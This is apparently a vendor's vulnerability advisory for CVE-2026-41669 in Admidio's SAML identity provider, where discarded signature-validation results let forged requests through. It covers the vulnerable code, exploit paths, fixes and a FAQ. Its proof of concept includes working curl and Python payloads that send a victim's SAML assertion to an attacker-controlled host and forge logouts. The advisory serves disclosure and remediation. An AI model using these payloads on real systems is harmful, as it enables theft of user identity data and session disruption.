CVE-2026-41669

The Admidio SAML Identity Provider implementation discards the return value of its validateSignature() method at both call sites (handleSSORequest() line 418 and handleSLORequest() line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the smc_require_auth_signed configuration option is completely ineffective, unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.

Details

The validateSignature() method at src/SSO/Service/SAMLService.php:355 has three possible return paths:

// Line 355-392
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {
    global $gL10n;
    $certPem = $client->getValue('smc_x509_certificate');
    if (!$certPem) {
        if ($required) {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw
        } else {
            return false;
        }
    }
    // ...
    $signatureReader = $message->getSignature();
    if (is_null($signatureReader)) {
        if ($required) {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw
        } else {
            return false;
        }
    }
    try {
        $ok = $signatureReader->validate($key);
        if ($ok) {
            return true;
        } else {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
        }
    } catch (Exception $ex) {
        return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
    }
}

Both call sites discard the return value entirely:

// Line 416-419 in handleSSORequest()
// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
    // Return value discarded, execution continues regardless of validation result
}

// Line 611-614 in handleSLORequest()
// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
    // Return value discarded, execution continues regardless of validation result
}

SSO exploitation path (for already-logged-in users):

1. modules/sso/index.php:92 routes to handleSSORequest()
2. Line 403: receiveMessage() parses SAML binding directly from HTTP GET/POST, no authentication required
3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded
4. Line 417-419: Signature validation called but return value discarded, flow continues
5. Line 421: $gValidLogin is true for logged-in users, so login form is skipped
6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the AssertionConsumerServiceURL from the forged request

SLO exploitation path:

1. modules/sso/index.php:94 routes to handleSLORequest()
2. Line 613: Signature validation discarded
3. Lines 621-629: User's session is deleted from the database and $gCurrentSession->logout() is called

PoC

# Prerequisites:
# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)
# - At least one registered SAML SP client with smc_require_auth_signed=true
# - A user with an active session (e.g., admin browsing the Admidio panel)

# 1. Generate an unsigned AuthnRequest impersonating a registered SP:
AUTHN_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")

# 2. Send the unsigned request via HTTP-Redirect binding (GET):
# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),
# Admidio generates a signed SAML assertion with the user's PII and sends it
# to the attacker-controlled ACS URL.
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'

# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.
# The response contains a SAML assertion with the victim's attributes.

# 3. For SLO, forge a LogoutRequest to terminate a victim's session:
LOGOUT_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>[email protected]</saml:NameID></samlp:LogoutRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")

curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'

# Expected: Victim's session is terminated, logout cascaded to all registered SPs.

• Signature enforcement bypass: The smc_require_auth_signed setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.
• User attribute disclosure (SSO): When combined with the ability to specify an arbitrary AssertionConsumerServiceURL, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.
• Session termination (SLO): An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.
• Amplifies ACS URL injection: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).

CVE-2026-41669 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.9); upgrading removes the vulnerable code path.

Kodem intelligence

Check the return value of validateSignature() and throw on failure. In src/SSO/Service/SAMLService.php, fix both call sites:

// In handleSSORequest(), replace lines 416-419:
// Validate signatures
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
    if ($result !== true && $result !== false) {
        // $result is an error message string, validation failed
        throw new Exception($result);
    }
}

// In handleSLORequest(), replace lines 611-614 with the same pattern:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
    if ($result !== true && $result !== false) {
        throw new Exception($result);
    }
}

Alternatively, refactor validateSignature() to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:

public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {
    global $gL10n;
    $certPem = $client->getValue('smc_x509_certificate');
    if (!$certPem) {
        if ($required) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));
        }
        return false;
    }
    // ... (same cert loading logic) ...
    $signatureReader = $message->getSignature();
    if (is_null($signatureReader)) {
        if ($required) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));
        }
        return false;
    }
    try {
        if (!$signatureReader->validate($key)) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
        }
        return true;
    } catch (Exception $ex) {
        throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
    }
}

1. What is CVE-2026-41669? CVE-2026-41669 is a high-severity security vulnerability in admidio/admidio (composer), affecting versions <= 5.0.8. It is fixed in 5.0.9.
2. How severe is CVE-2026-41669? CVE-2026-41669 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of admidio/admidio are affected by CVE-2026-41669? admidio/admidio (composer) versions <= 5.0.8 is affected.
4. Is there a fix for CVE-2026-41669? Yes. CVE-2026-41669 is fixed in 5.0.9. Upgrade to this version or later.
5. Is CVE-2026-41669 exploitable, and should I be worried? Whether CVE-2026-41669 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41669 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41669? Upgrade admidio/admidio to 5.0.9 or later.